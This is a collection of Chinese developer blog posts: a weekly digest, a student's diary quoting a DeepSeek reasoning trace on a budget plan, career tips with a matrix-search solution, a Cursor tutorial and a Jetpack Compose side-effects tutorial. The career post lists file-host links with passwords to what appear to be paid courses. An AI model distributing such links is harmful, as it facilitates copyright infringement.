    • 添加图像合成功能。
    • 添加文本对齐和最大宽度选项,优化图像合成文字位置。
    • 添加示例代码并更新图片合成函数以支持异步写入。
  2. Bug 修复:
    • 修复合成图片时的错误处理,确保写入文件失败时抛出明确错误。

cmyr-template-cli

  • v1.36.1 - 2025-01-21 22:00:00
    摘要: 版本 1.36.1 更新摘要
  1. Bug 修复:
    • 在模板元数据中添加标签
    • 优化获取模板元数据的函数返回类型
    • 重构项目信息获取逻辑以包含关键词

最新 GitHub 加星仓库

  • CaoMeiYouRen starred Windrecorder - 2025-01-25 22:02:38 Windrecorder 是一款记忆搜索应用,通过以小尺寸记录屏幕上的所有内容,让用户可以回看所见内容,通过 OCR 文本或图像描述进行查询,并获取活动统计。该应用主要使用 Python 语言开发,目前在 GitHub 上获得了 3118 个星标。
  • CaoMeiYouRen starred anything-llm - 2025-01-25 00:25:00 该内容介绍了一个集成了 RAG(检索增强生成)、AI 代理等功能的桌面和 Docker AI 应用程序。其主要编程语言为 JavaScript,并在 GitHub 上获得了 30948 个星标。
  • CaoMeiYouRen starred say.js - 2025-01-21 20:01:21 摘要: TTS(文本转语音)是一种将文本从 Node.js 发送到扬声器的技术。该项目的主要编程语言是 JavaScript,目前在 GitHub 上获得了 1503 个星标。
  • CaoMeiYouRen starred lms - 2025-01-21 19:22:13 LM Studio CLI 是一个主要使用 TypeScript 语言开发的项目,目前在 GitHub 上获得了 2022 个星标(Stargazers)。
  • CaoMeiYouRen starred repomix - 2025-01-21 18:52:04 Repomix(原名 Repopack)是一个强大的工具,能够将整个代码库打包成一个适合 AI 处理的单一文件。它非常适合需要将代码库输入大型语言模型(LLMs)或其他 AI 工具(如 Claude、ChatGPT 和 Gemini)的场景。该工具主要使用 TypeScript 编写,目前在 GitHub 上获得了 7499 个星标。

其他博客或周刊推荐

二丫讲梵的学习周刊

总结

本周的更新和动态如上所示。感谢您的阅读! 您可以通过以下方式订阅草梅周报的更新:

往期回顾

本文作者:草梅友仁
本文地址:blog.cmyr.ltd/archives/20…
版权声明:本文采用 CC BY-NC-SA 4.0 协议 进行分发,转载请注明出处!

by 草梅友仁 at January 26, 2025 02:07 PM

juejin article

学期结束,化学竞赛的反思以及对于未来AI发展的探索

这周对我来说真的可以说是“解放”的一周:我不仅结束了这学期所有的考试,还刚刚考完了我特别重视的一场化学竞赛——UKCHO。其实这场比赛对我意义非凡,因为下学期的现在我可能已经在发Offer或者收Offer的路上了,基本没有机会再去试一把,所以这次算是我最后的机会。考完之后,我对自己的感觉有点复杂:一方面,我觉得自己在无机化学部分做得还算不错,虽然有些题目并不是特别有把握;另一方面,有机化学的题目太难了,我只做了零星的几道题,卷子又多、又难、又容易卡时间,明显感到自己有点做不完。或许是我在考场上的思路没有调整好,或者是赛前准备得也不够到位,总之我觉得并没有完全发挥出来。

其实想想看,考试或者竞赛这东西,真的不仅仅是考知识本身,也是在考你的学习方法和心态。对我来说,我一直在努力寻找最适合我的方式去复习和学习,尤其是要高效地吸收知识,不能再像以前那样盲目刷题或者只会死记硬背。我希望自己能形成一套方法论,这样不管遇到多难多怪的题,都可以保持一个清晰的思路和高效的答题节奏。可能现在我的这套“方法论”还在摸索阶段,不过我相信只要不断地试错、迭代,总能找到最适合自己的那条路。

image.png

考完之后,我和从小一起长大的朋友决定来上海“撒欢”两天,好好放松一下。周末的时间总是过得很快,所以我们就只在淮海路一带逛了逛。感觉淮海路和我印象中的样子有点不一样了,好多以前从没见过的品牌店、艺术空间,还有一些新开的书店,都让我眼前一亮。让我印象最深的是一家叫“Niko and …”的店,风格很独特,里面卖的东西也很有设计感。逛累了,我还跑去一家书店转了一会儿,结果一眼就看到了那本《孙子兵法大全集》。说实话,买它有两个原因:一是想借此提高一下我自己的文言文理解能力,二是觉得能从中得到一些“实战”层面的启示,把古人的思维方式跟现实生活联系起来,让我在面对各种选择或处理事情时更从容。

image.png

今天我们又去了五角场,那边有不少潮玩店和二次元手办店。还有手办这样子的就陪他过去逛逛,然后最近特别火,不是有那个蜡笔小新的手办手表,我就买了一个看一看。虽然不是隐藏款,但是我还是很开心。

image.png

放松完了之后,我也在思考自己的寒假计划。毕竟我马上就要面对新的学期课业和各种挑战,不能光想着“考完了就万事大吉”。要想真正拉开差距、取得突破,必须在寒假里好好规划一下。我准备先把下学期的知识点做个预习,把能提前掌握的内容尽量都消化了,免得开学之后像个无头苍蝇似的东一头西一头。我相信如果能在寒假就把课程结构整理清晰,开学后的学习效率会大大提升。更重要的是,我要利用这段时间继续打磨自己的学习方法,不管是做笔记、整理错题、还是复盘考试,都得有意识地去优化。

前阵子国外的ChatGPT很火,都在谈它多强多厉害。结果这几天我又发现国内好像也冒出一个新模型,叫“Deepseek AI”。据说它在某些方面的表现甚至更好:这说明我们中国在AI领域并没有落后,反而也能做出一些不错的东西。不过,光有技术还不够,最关键的还是要创新。我们不能总是等到人家提出个新思路,自己再去跟进、打磨,这样就永远跟在别人后面。我觉得我们这些学生也应该尽早培养起这种创新思维,别让自己被固有的知识框框给束缚了。毕竟在AI时代,速度和想法才是最重要的,两者都要兼顾。

嗯,好吧,我现在要扮演一位城市发展规划总负责人,有10亿元预算,一年内分配,用来改善城市整体发展和居民生活质量我得仔细看看给出的四个项目,然后决定怎么分配这些资金。
首先,看看每个项目的基本情况。项目A是公共交通升级,投资规模从2亿到10亿不等,主要收益是解决拥堵、减少碳排放,提升城市形象。但风险包括工期长、容易超支,还有施工期间给市民带来的麻烦。这点要注意,因为公众可能会因为施工影响而投诉。
项目B是医疗与公共卫生,投资规模分为两部分:3亿左右改善社区医疗,或者6亿以上建大型医院。收益方面,大型医院能增加就业、促进研究,还能吸引周边患者。但建设周期长,后续运维成本高,可能需要持续投入,这一点很重要,因为如果预算用完了,如何维持运营是个问题。
项目C是教育与人才培养,投资3亿改善基础设施,或者7-8亿建重点大学或职业培训中心。收益是提升教育质量、吸引家庭和企业,但回报周期长,短期内看不到效果,还需要吸引师资和管理团队,风险也不小。
项目D是城市文化与旅游产业升级,小规模改造2-3亿,大型项目6-8亿。收益包括吸引游客、带动服务行业,但旅游业受季节影响,回报不稳定,还可能破坏环境或文化同质化。
现在,我得考虑这些项目的优先级和平衡点。一方面,要解决居民当前的问题,比如交通拥堵、医疗资源不足;另一方面,还要考虑长期发展,如教育吸引人才,文化提升城市形象。
假设我把资金分配到两个或更多项目,这样能覆盖更多需求,同时降低风险。比如,把部分钱投到公共交通,因为效果比较快能缓解交通问题,提升市民生活质量;另一部分投到医疗,大型医院的建设有长期收益,但也有较高的初期投资和运维成本。
或者,我可以考虑教育和文化项目,这对城市长远发展很重要,但回报周期更长,不一定在一年内见效。但可能通过小规模改善,快速提升一些基础设施,再用剩下的资金投入交通或医疗。
不过,要确保预算使用合理,每个项目都要有足够的资金后动,同时注意潜在风险,比如施工期间对市民的影响,这里可能需要做好宣传和补偿措施。另外,运维成本也是一个重要因素,不能只顾建设,不管以后怎么维持。
再想想,如果投入医疗太多,剩下的钱不足以让其他项目产生实质性效果。而如果只投交通,虽然短期效益好,但忽视了医疗和教育的长期重要性。同样,文化旅游如果投得太多,可能会有泡沫,也可能带来环境问题。
所以,或许可以考虑将资金分配到三个项目:交通、医疗、教育,这样各个方面都有投入,同时控制每个项目的风险。但具体!么分呢?比如,把5亿投给交通,解决拥堵,提升出行效率;3-4亿用于建一所现代化医院,提高医疗水平;剩下的2-3亿用于教育基础设施,比如更新学校、培训中心。
不过,这样分配后,预算刚好用完,而且每个项目都有足够的资金后动。但要注意的是,大型医院需要6亿以上,而这里只投了3-4亿,可能达不到建大型医院的目标,只能改善现有的社区医疗中心。这样的话,收益也会相应较低。
那或许更好的方式是将更多的钱投入交通和医疗,这样可以在短期内解决市民的实际问题,同时确保这两个项目都有足够的资!后动,并带来实质性的改善。例如,将5亿投给公共交通,引入智能系统;4-5亿用于建大型医院,剩下的1-2亿用于教育的小规模改善。
不过,这样教育的投资可能太少了,难以产生显著效果。或者,可以考虑将教育和医疗结合起来,但不确定是否可行
另一个思路是优先考虑交通,因为解决拥堵问题直接影响市民日常生活,而公共交通升级在短期内能带来明显的改善,同时提城市形象,有助于吸引更多人才和企业。因此,或许将6亿投给交通,4亿用于医疗,这样两个项目都能有实质性进展
但这样可能忽视了教育和文化的重要性,而教育对长期发展至关重要。如果我投5亿到交通,4亿到医疗,那么剩下的1亿可以者虑分配到教育的小规模改善,比如更新部分学校或建立一个职业培训中心,这样虽然效果有限,但至少有所投入。
或者,我是否应该将更多的钱投入教育和文化,以促进长期发展?例如,3亿交通,3亿医疗,4亿教育。这样每个项目都能有足够的资金后动,但可能在短期内看不到显著效果。
再考虑风险因素,如果把太多钱投到大型医院,而无法维持运营,这会引发问题。所以,或许应该先改善现有的医疗设施,而”是建一个新的。这需要较少的资金,但能快速提升服务质量,同时避免高运维成本。
综上所述,我认为将5亿投入公共交通,3-4亿用干医疗设施改善,再将剩下的2亿分配到教育的小规模项目,这样既解决了当前的问题,又为长期发展打下基础。同时,这样的分配方式在预算使用上比较合理,每个项目都有足够的资金后动,同时控制风险,避免因为单一项目耗费过多而影响其他方面。“
以上是我的思考一下是我的答案
根据以上思考,以下是资金分配方案:
1. **公共交通升级**:投入5亿元
   - 用途:解决城市交通拥堵问题,提升出行效率,减少碳排放,改善市民日常生活。
   - 预期效果:显著缓解交通压力,提升城市形象。
2. **医疗设施改善**:投入3-4亿元
   - 用途:改善现有社区医疗中心,提高服务质量,加强应对公共卫生危机的能力。
   - 预期效果:快速提升医疗服务水平,减轻市民健康担忧。
3. **教育基础设施小规模改善**:投入2亿元
   - 用途:更新部分学校和建立职业培训中心,提升教育质量。
   - 预期效果:为长期人才培养打下基础,吸引更多家庭和企业。
这样的分配方式确保每个项目都有足够的启动资金,同时控制风险,兼顾短期效益与长远发展。

以上是Deepseek AI给我完整的思维过程,这很好,请清晰 但是还有一些可以改进地方。但这已经是一个进步了。

回想整个学期,我发现自己最大的收获也许并不是某场考试的分数,而是对“学习方法”和“自我突破”有了新的认识。每次考试,分数虽是一个衡量标准,但真正让我进步的是从每次失败或成功中吸取到的东西——比如我没有在考前做充分的计划,以致于遇到难题就慌张;比如我的知识面虽然还算广,可真正能深度运用的并不多。正是这些反思和总结,让我在一次次考试之后,能够重新出发,带着新目标、新打算去提升自己。

by Pluto538 at January 26, 2025 02:00 PM

juejin career

程序员30岁前需要明白的几个人生真相!

文章首发到公众号:月伴飞鱼,每天分享程序员职场经验+科普AI知识!

大家好呀,我是飞鱼

工作几年,也让我明白了一些工作和生活上的道理,这里分享给大家。

图片

健康是第一位的:

年轻时总觉得身体是铁打的,熬夜、暴饮暴食都无所谓。

但随着年龄的增长,会开始感受到身体的疲惫和不适,所以不要提前透支自己的身体。

工作是为了赚钱:

面试的时候,HR会跟你说,这个岗位虽然工资低点,但能学到很多东西,别被忽悠了。

当你的能力和你的薪资不匹配时,果断跳槽,趁年轻,还有机会多赚点钱。

学会存钱:

有钱真的可以提升自己的幸福感和安全感

所以需要强制储蓄,降低物欲,控制消费!

自我成长:

学习和成长是一生的事业,投资自己,不断学习提升自己的能力和技能。

做自己喜欢的事:

不再为了迎合他人而活,只做自己喜欢的事,才能找到真正的快乐和满足感。

考公不一定是退路:

如今考公岗位要求大多都是应届生,或者30周岁,35周岁以下,然后还有党员、专业限制,门槛越来越高。

因为想吃这碗饭的人越来越多,如果大家想考,最好趁着应届生的身份行动起来。

远离精神内耗:

不要因为工作而内耗自己,要明白工作只是工作而已。

行动起来:

有什么想法,或者想做的事情,趁年轻赶紧行动起来,因为这个时候你还有精力,有时间,试错成本较低。

等到你上有老下有小的时候,很多事情就不敢尝试了,或者是没精力尝试了。

远离股票:

老老实实把钱存银行,除非你有5千万以上了,再接触股票吧。

股票这个专业人士都不一定能做好的事情,水比较深,要把钱花在和自己相关的事情上。

有啥其他看法,欢迎在评论区留言讨论。

想看技术文章的,可以去我的个人网站:hardyfish.top/

  • 目前网站的内容足够应付基础面试(P6)了!

每日一题

题目描述

编写一个高效的算法来搜索 m x n 矩阵 matrix 中的一个目标值 target 。

该矩阵具有以下特性:

  • 每行的元素从左到右升序排列。
  • 每列的元素从上到下升序排列。

解题思路

从最右上角的元素开始找,如果这个元素比target大,则说明找更小的,往左走。

如果这个元素比target小,则说明应该找更大的,往下走。

代码实现

Java代码:

class Solution {
    public boolean searchMatrix(int[][] matrix, int target) {
        if(matrix == null || matrix.length < 1 || matrix[0].length < 1){
            return false;
        }
        //起点为最右上角的元素
        int row = 0, col = matrix[0].length - 1;
        //判断当前数组元素和target,如果当前大于target,往左走;小与target,往下走
        while(row < matrix.length && col >= 0){
            if(matrix[row][col] < target){
                row++;
            }else if(matrix[row][col] > target){
                col--;
            }else{
                return true;
            }
        }
        //走出边界了还没找到,说明不存在,返回false
        return false;
    }
}

Python代码:

class Solution:
    def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:
        m, n = len(matrix), len(matrix[0])
        i, j = 0, n - 1  # 从右上角开始
        while i < m and j >= 0:  # 还有剩余元素
            if matrix[i][j] == target:
                return True  # 找到 target
            if matrix[i][j] < target:
                i += 1  # 这一行剩余元素全部小于 target,排除
            else:
                j -= 1  # 这一列剩余元素全部大于 target,排除
        return False

Go代码:

func searchMatrix(matrix [][]int, target int) bool {
    m, n := len(matrix), len(matrix[0])
    i, j := 0, n-1 // 从右上角开始
    for i < m && j >= 0 { // 还有剩余元素
        if matrix[i][j] == target {
            return true // 找到 target
        }
        if matrix[i][j] < target {
            i++ // 这一行剩余元素全部小于 target,排除
        } else {
            j-- // 这一列剩余元素全部大于 target,排除
        }
    }
    return false
}

复杂度分析

时间复杂度:O(m+n)

  • 其中 m 和 n 分别为 matrix 的行数和列数。

空间复杂度:O(1)

DDD实战课

课程链接:time.geekbang.org/column/intr…

资料链接:url81.ctfile.com/f/57345181-…

访问密码:3899

从0开始学大数据

课程链接:time.geekbang.org/column/intr…

资料链接:url81.ctfile.com/f/57345181-…

访问密码:3899

趣谈网络协议

课程链接:time.geekbang.org/column/intr…

资料链接:url81.ctfile.com/f/57345181-…

访问密码:3899

by 程序员飞鱼 at January 26, 2025 01:57 PM

juejin freebie

cursor 使用教程(08)—— Codebase

使用 Codebase 前,确保 cursor 分析完了整个项目,根据下图提示找到 Codebase indexing,下方两个按钮是重建索引、删除索引。

image.png

这是点击 Show Settings 的配置项。 image.png

接下来演示设置忽略文件。

点击蓝色的 Config ignored files。在配置文件中,也能用 cursor。

image.png

image.png

然后在设置中重建索引,再去 COMPOSER(快捷键 Ctrl+I) 中 @Codebase 问一下问题,会发现 Search completed 中没有 sorting_algorithms.py 文件,说明忽略成功。

image.png

Codebase 是 cursor 对项目的理解,可以用它来帮我们理解项目,甚至问一些具体的调用细节。可以把它当作一个对项目非常了解的老大哥。

接下来举个例子说明,首先生成一个多 html 文件官网,确保问问题前重建了索引。

image.png

image.png

image.png

在大型 Java 分布式系统中,Codebase 的能力还有限,中小型单体项目,Codesbase 非常得心应手。

这也让我思考,Java + Spring 这样比较重的编程语言,不会被更轻的语言打败,而会被 cursor 打败。

by jianzhangg at January 26, 2025 01:41 PM

juejin android

带着问题学,Compose附带效应(Side Effect)一探究竟

前言

各位同学,好久不见,因为工作和身体的原因导致很久都没写文。趁着春节即将到来之际才有时间放松下,这里笔者提前祝大家2025新年快乐,愿君在蛇年里,似灵蛇灵动,事业如藤蔓攀升,生活若繁花盛绽,好运常伴不歇。

OK, 那么我们进入主题吧

使用Jetpack Compose开发已经有挺长一段时间了,随着对它的不断深入学习,笔者逐渐体会到了它作为声明式UI框架的独特魅力。与传统的命令式编程不同,声明式编程通过描述UI的状态来定义界面。然而,在实际开发过程中,我们经常需要执行一些操作,这些操作会对UI状态之外的系统产生影响。这种操作在Jetpack Compose中被称为 Side Effects,直译过来是“副作用”。

当初看到这个词时,笔者的第一反应是它可能带有负面的含义,毕竟“副作用”在日常生活中通常意味着不良影响。然而,随着学习的深入,Compose中的“副作用”并不是负面的。相反,它们指的是一些额外的效果或行为,帮助我们在特定的上下文中完成必要的任务。因此,官方更倾向于将它们称为“附带效应”(Side Effects)。然而,出于个人习惯,笔者还是更喜欢称之为“副作用”,文章内容也都以“副作用”来描述,毕竟这对于本人来说更顺口,也更贴近日常的技术讨论,只是叫法而已,大家不用太过纠结哈。

当然,可以看看笔者之前的Compose系列相关文章,非常期待各位大佬的宝贵建议,帮助笔者继续提升和完善这段探索之旅。

OK,话不多说,凭借网络上很多已有的文章博客分享了对Side Effects的看法,本文依旧是以问题的形式,带领大家探究Jetpack Compose中的Side Effects处理,以及分享笔者自己学习过程中遇到的一些疑问,从而加深自己对Compose的Side Effects的使用与理解。

Side Effect大纲.png

Q1.什么是 Jetpack Compose 中的副作用(Side Effect)?

我们每次去接触到新的知识的时候,总要知道这个到底是什么吧,如何定义

这样吧,我们先撇一眼官方的回答;在计算机科学中,副作用指的是一个函数或表达式在返回结果值的同时,还对其外部状态产生了影响。而在 Jetpack Compose 中,副作用主要是指在组合函数(Composables)中执行的、对其输入和输出范围之外的状态或系统产生影响的操作。处理这些副作用可以确保我们的应用在面对各种状态变化时能够正常运行。

那么此时问题来了,我相信大部分同学此时都会有这样的想法,什么样的操作被认为是副作用?

通过了解我们知道,副作用通常指的是那些会引起 UI 更新之外的变化,这些操作可能会影响应用的其他部分,如数据库、网络请求、文件系统操作、日志记录等。

副作用定义.png

  • 外部状态改变: 比如说我们调用网络 API、数据库操作、文件写入的时候,改变了外部系统的状态,这种操作通常会在界面上引发某些变化,但是它本身不属于 UI 的一部分。

  • 日志记录: 在 UI 组件中记录一些日志信息,可能会被认为是副作用。

  • 动画/过渡的触发: 通过 Compose 触发的动画可能会影响视图的状态或外部系统。

  • 协程启动: 启动后台协程进行异步操作,特别是当协程触发 UI 更新时。

那么此时肯定又有同学要问了,不同于传统的 Android 开发,Jetpack Compose 中的副作用有何特别之处呢?

副作用特别之处.png

  • 声明式UI与副作用解耦:

    副作用和 UI 更新解耦,副作用操作通过特定的 API 来控制生命周期和执行时机。Jetpack Compose 强调声明式 UI,即 UI 由状态驱动,而不再是通过命令式的代码操作视图。

    在传统 Android 中,视图更新往往伴随副作用,如在 ActivityFragment 中处理网络请求后更新 UI。而在Compose中,副作用(如网络请求、数据库操作等)与 UI 状态的管理是分开的,副作用通常通过特定的机制来管理,如 LaunchedEffect等,当然这篇文章会对这些API下面会逐个分析。

  • 生命周期和重组管理 :

    副作用由 LaunchedEffectSideEffect等函数自动与生命周期和重组绑定,避免了传统 Android 中的生命周期错误和副作用重复执行问题。

  • 更简洁的异步操作管理 :

    副作用操作(如网络请求)与 UI 更新被清晰分开,避免了复杂的线程和 UI 更新同步问题。

  • 可组合性:

    Compose 中的副作用可以在多个层级的 Composable 中管理,并与状态紧密绑定。

Q2. Compose 提供了哪些处理副作用的 API?

副作用在 Compose 中是不可避免的,不过别担心!Compose 贴心地提供了一套 Effect API,帮助开发者以可控且可预测的方式在 Composable 函数中处理副作用。为了让大家对这些 API 有个初步概念,笔者先整理了一张表格,大家可以先大概瞄一眼,心里有个大概印象。

接下来,我们就逐个拆解,简单聊聊它们的作用和使用场景

场景用途示例
SideEffect每次成功重组后 运行副作用,并且副作用与 UI 状态无关日志记录、触发外部 API 调用
LaunchedEffect组合阶段 启动副作用,通常用于启动一次性任务或异步操作执行协程中的异步任务,监听特定键的变化并重新执行副作用
DisposableEffect当需要在组件 进入或退出组合 时执行逻辑,同时清理资源注册或解绑监听器、关闭文件流、取消订阅
rememberUpdatedState当副作用需要访问 最新状态值,而状态可能随时间变化时避免使用过时的lambda或状态值
produceState当需要从 外部异步源 加载数据,并将结果存储为ComposeState在 UI 中展示网络或数据库加载的数据
rememberCoroutineScope当需要启动协程,并希望其生命周期与当前组合保持一致时在用户交互事件(如点击按钮)中启动协程任务
snapshotFlowCompose的状态(State)转换为Flow,便于与非Compose的代码交互观察Compose状态变化并触发下游流处理

SideEffect

主要用于在 每次成功的重组后 执行一些与UI状态无关的逻辑,保证只会在主线程上运行,且只在组合成功完成时触发。啥意思呢?就是无论状态是否发生改变,只要重组完成,SideEffect都会被调用一次;它通常用来将Compose的内部状态同步到非Compose的外部系统。

还不够清晰,没关系,下面我们举一个🌰来说明,通过 SideEffect 在每次重组后同步外部的调试日志,输出当前计数器的状态。

//模拟下外部状态
val externalState =  mutableListOf<String>()
@Composable
fun CounterWithLogging() {
    var count by remember { mutableStateOf(0) }

    Column(modifier = Modifier.fillMaxSize()
        .padding(16.dp)) {
        Text("Counter:$count", modifier = Modifier.padding(8.dp))
        Button(onClick = { count ++ }) {
            Text("Increment")
        }

        // 使用 SideEffect 在每次重组后同步外部状态
        SideEffect {
            externalState.add("Count updated to $count")
            println("External State Synced: $externalState")
        }
    }

}

@Preview(showBackground = true)
@Composable
fun PreviewCounterWithLogging() {
    CounterWithLogging()
}

这里count 是一个使用 remember创建的可变状态,每次用户点击按钮,count增加 1,此时UI 会进行重组,使用 SideEffect 将计数器的最新状态同步到外部的 externalState 列表中,并打印日志,每次用户点击按钮触发 count的变化后,SideEffect 都会在重组完成后执行。

此时用户连续点击了按钮6次,日志输出如下:

25B1B9CE-A863-48b0-B48F-38140120DB1B.png

可以看到SideEffect 会在每次重组后同步最新的 count 到外部的 externalState

通过这个例子,不难发现,SideEffect非常适合以下场景:

  • 日志记录:在每次状态更新时记录调试日志,方便排查问题。
  • 调试信息同步:将最新的 Compose 状态同步到外部工具、分析平台,或非 Compose 系统。
  • 轻量级任务:处理与 UI 状态无关的简单任务,例如统计点击次数等等。

此外,我们再思考一个问题,为什么不要在SideEffect中处理大量繁重或耗时的操作?

  • 阻塞主线程SideEffect始终在主线程上运行,如果在其中执行耗时的操作(如网络请求、文件读写、大量计算等),会阻塞 UI 更新,导致界面卡顿或掉帧,直接影响用户体验
  • 违反职责单一原则SideEffect 的职责是执行副作用操作,而繁重任务应交由其他专用 API(如 LaunchedEffect 或后台线程)处理。滥用 SideEffect 会导致代码难以维护,甚至可能引入线程安全问题
  • 触发重组的潜在问题:如果繁重操作间接修改了Compose状态(例如改变一个 mutableState),可能触发额外的重组,甚至造成无限循环或性能问题

SideEffect处理大量耗时操作.png

LaunchedEffect

既然SideEffect无法处理繁重的操作,那有没有那种可以执行耗时任务操作的副作用API呢?有,这不LaunchedEffect它来了,它是一个挂载在Compose生命周期的可组合函数,启动协程任务,用于在界面组件的生命周期中执行一些只需运行一次或基于特定条件触发的操作。这样解释可能过于官方了,简单来说,就是在Compose中处理协程相关的任务,比如说我们需要异步加载网络数据,比如说执行初始化的一些操作。它的核心功能如下:

LaunchedEffect.png

  • 只执行一次: 当Composable组件首次进入组合(Composition)时,LaunchedEffect中的代码块会被触发执行
  • 响应依赖参数key变化: 如果传递的 key依赖发生变化,LaunchedEffect 会重新启动。也就是说,它的执行是依赖于key的变化
  • 生命周期感知: 当组件退出组合时,LaunchedEffect 中的协程会自动取消,以避免资源泄漏
  • 协程支持: 它运行在协程上下文中,因此特别适合处理异步任务,比如网络请求、数据库查询等

下面还是用个🌰来实践下, 我们模拟下LaunchedEffect在组件首次启动时异步加载数据,并将结果显示在界面上

@Composable
fun DataLoaderScreen() {
    // 用于保存加载的数据
    var data by remember { mutableStateOf("Loading...") }

    // 用于记录加载状态
    var isLoading by remember { mutableStateOf(true) }

    // 使用 LaunchedEffect 加载数据
    LaunchedEffect(Unit) {
        try {
            // 模拟网络请求
            data = fetchDataFromNetwork()
        } catch (e: Exception) {
            data = "Failed to load data: ${e.message}"
        } finally {
            isLoading = false
        }
    }

    // 展示加载状态或数据
    if (isLoading) {
        Text(text = "Loading...", style = MaterialTheme.typography.bodyMedium)
    } else {
        Text(text = data, style = MaterialTheme.typography.bodyLarge)
    }
}

suspend fun fetchDataFromNetwork(): String {
    // 模拟延迟2秒,例如网络请求或数据库查询
    delay(2000)
    return "Fetched data from server"
}

这里小小总结下,如果我们在Compose中需要处理网络数据,或着从数据库加载信息,都可以使用LaunchedEffect;在组件初始化时预加载一些数据,也可以使用LaunchedEffect。这里笔者做了一个表格,LaunchedEffect主要适用于如下场景

场景描述
异步任务的触发处理需要运行在后台线程的任务,比如从网络获取数据或从数据库加载信息
初始化操作在组件加载时执行必要的初始化逻辑,比如设置监听器、预加载数据等
事件响应根据某些依赖(例如状态或参数)的变化,触发某种业务逻辑

DisposableEffect

DisposableEffect 作为另一个与生命周期相关的 API,它和LaunchedEffect类似,而LaunchedEffect大家可以理解为协程版的DisposableEffectDispoableEffect主要用于在组件的生命周期执行一些需要清理的操作。比如说,注册监听器、打开文件、连接数据库等操作,需要在组件销毁时关闭或者释放资源,以防止内存泄漏。原理也很好理解,当组件首次进入界面时,DisposableEffect会执行一些操作(比如打开摄像头或监听事件);当组件离开界面(销毁时),DisposableEffect 会自动执行清理代码(如关闭摄像头、注销监听器等)

还是举个简单的🌰,如果我们需要在Composeable销毁的时候清理一些资源,卸载监听器或者传感器,DisposableEffect提供了一个便捷的方式,确保我们的代码不会因为资源未释放而造成内存泄漏

@Composable
fun NetworkStateListener() {
    val context = LocalContext.current
    val connectivityManager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager

    DisposableEffect(Unit) {
        val networkCallback = object : ConnectivityManager.NetworkCallback() {
            override fun onAvailable(network: Network) {
                Log.d("NetworkState", "网络已连接")
            }

            override fun onLost(network: Network) {
                Log.d("NetworkState", "网络已断开")
            }
        }

        connectivityManager.registerDefaultNetworkCallback(networkCallback)

        onDispose {
            Log.d("NetworkState", "注销网络监听器")
            connectivityManager.unregisterNetworkCallback(networkCallback)
        }
    }
    Text("监听网络状态变化")
}

写起来也非常简单,通过onDisposable注销监听器,防止内存泄漏

rememberCoroutineScope

如果说LaunchedEffect是用于执行那些短期一次性的协程任务,那么rememberCoroutineScope适用于需要启动协程并在 Composable 生命周期内持续存在的场景。简单来说, rememberCoroutineScopeComposable组件中创建和管理一个协程作用域,使得我们能够启动协程并在组件生命周期内保持该协程的有效性。

它适用于在 UI 事件(比如按钮点击)触发时启动异步任务,或者在需要与 UI 状态相关的地方使用协程,可以看看下面的🌰

@Composable
fun ButtonWithCoroutine() {
    val coroutineScope = rememberCoroutineScope()

    Button(onClick = {
        coroutineScope.launch {
            // 假设这是一个网络请求或耗时操作
            delay(2000L)
            Log.d("Coroutine", "操作完成")
        }
    }) {
        Text("点击开始任务")
    }
}

值得注意的是,我们使用rememberCoroutineScope,返回一个协程作用域,它会和Composeable生命周期绑定,本质上是与LifecycleOwner相关联的,也就是说,它会在组件离开界面的时自动取消,所以我们要确保UI不会因为协程未结束而引发异常或资源泄露

rememberUpdatedState

关于rememberUpdateState,初看这个API的时候,你会觉得怎么写的那么简单,就两行代码,只创建了个mutableState对象,并且每次去更新值,相当于存储并更新某个值的当前最新状态。这有啥用,恰恰相反,这个API非常实用,它解决了在长时间运行的任务中访问 UI 状态时常见的“旧值问题”。

@Composable
fun <T> rememberUpdatedState(newValue: T): State<T> = remember {
    mutableStateOf(newValue)
}.apply { value = newValue }

啥,这是啥意思呢?通过学习我们都知道,如果某些状态发生变化的时候,Compose会进行重组来更新UI。但是,状态的变化并不总是立即反映在长时间运行的操作或任务中,比如协程、后台线程、或者事件监听器等等。假设你在 Composable 中启动了一个协程来执行某个操作(例如加载数据),如果你在协程启动后改变了某个 UI 状态,直接访问这个状态可能会导致你拿到的是旧的状态值。这就可能出现状态更新和实际操作不同步的情况,从而引发一些不可预期的问题。rememberUpdatedState正是为了解决这个问题,它可以帮助我们确保在长时间运行的任务中,始终获取到 最新的状态值

所以在实际开发中,当我们遇到异步任务与 UI 状态变更不同步的问题时,不妨尝试使用 rememberUpdatedState 来解决这个问题,一写一个不吱声🙋‍。

produceState

这是Compose提供的一个状态管理API,用来在Composable内部创建并管理异步状态,它可以监听外部数据源(比如网络请求、数据库、传感器等),当数据更新时,UI 也会自动刷新。其实说白了,就是可以将外部非Compose状态转换成Compose状态

produceState.png

produceState的作用就是启动一个协程,监听数据变化,并更新状态 ,这让我们可以直接在Composeble中管理状态。

比如说我想监听下系统时间,每秒刷新一次,可以使用produceState

@Composable
fun ClockScreen() {
    val currentTime by produceState(initialValue = "Loading...") {
        while (true) {
            value = SimpleDateFormat("HH:mm:ss", Locale.getDefault()).format(Date())
            delay(1000) // 每秒更新一次
        }
    }

    Text(text = "Current Time: $currentTime")
}

这段代码不需要ViewModel,但依然能自动更新 UI,非常适合那些 需要实时变化的状态

总的来说,produceState异步数据管理更简单,在某些场景下可以替代 ViewModel,不过如果数据需要在多个 Composable共享,ViewModel 还是更合适!

snapshotFlow

snapshotFlowCompose提供的State->Flow的转换工具,等等,那有同学就会说,这不是和produceState类似嘛,非也非也,produceState可以将任意非Compose状态转换为Compose状态,而snapshotFlow只能将Compose状态转换为Flow, 其次它是转换成了协程,所以不能直接用于UI绑定,需要和collect配合使用,Flow 生态兼容,可以轻松结合 debounce()map()flatMapLatest() 等操作

这样以来,可以做到自动去重,防止 UI 频繁重组导致的无意义触发。实际在Compose开发中,可以用于做防抖操作,比如说,我们要监听输入框变化,但不希望每次输入的触发搜索请求API接口,而是等用户停止输入500ms再请求的,代码如下:

@FlowPreview
@Composable
fun SearchBox() {
    var query by remember { mutableStateOf("") }

    LaunchedEffect(Unit) {
        snapshotFlow { query }
            .debounce(500) // 500ms 防抖,避免频繁请求
            .collectLatest { searchText ->
                searchApi(searchText) // 触发网络请求
            }
    }

    TextField(
        value = query,
        onValueChange = { query = it }
    )
}

suspend fun searchApi(query: String) {
    Log.d("SearchBox", "搜索: $query")
}

这里 debounce(500) 确保只有在用户停止输入 500ms 后才会触发搜索,避免频繁请求API

Q3.SideEffect 如何确保在重组时,应用状态与外部系统始终保持一致?

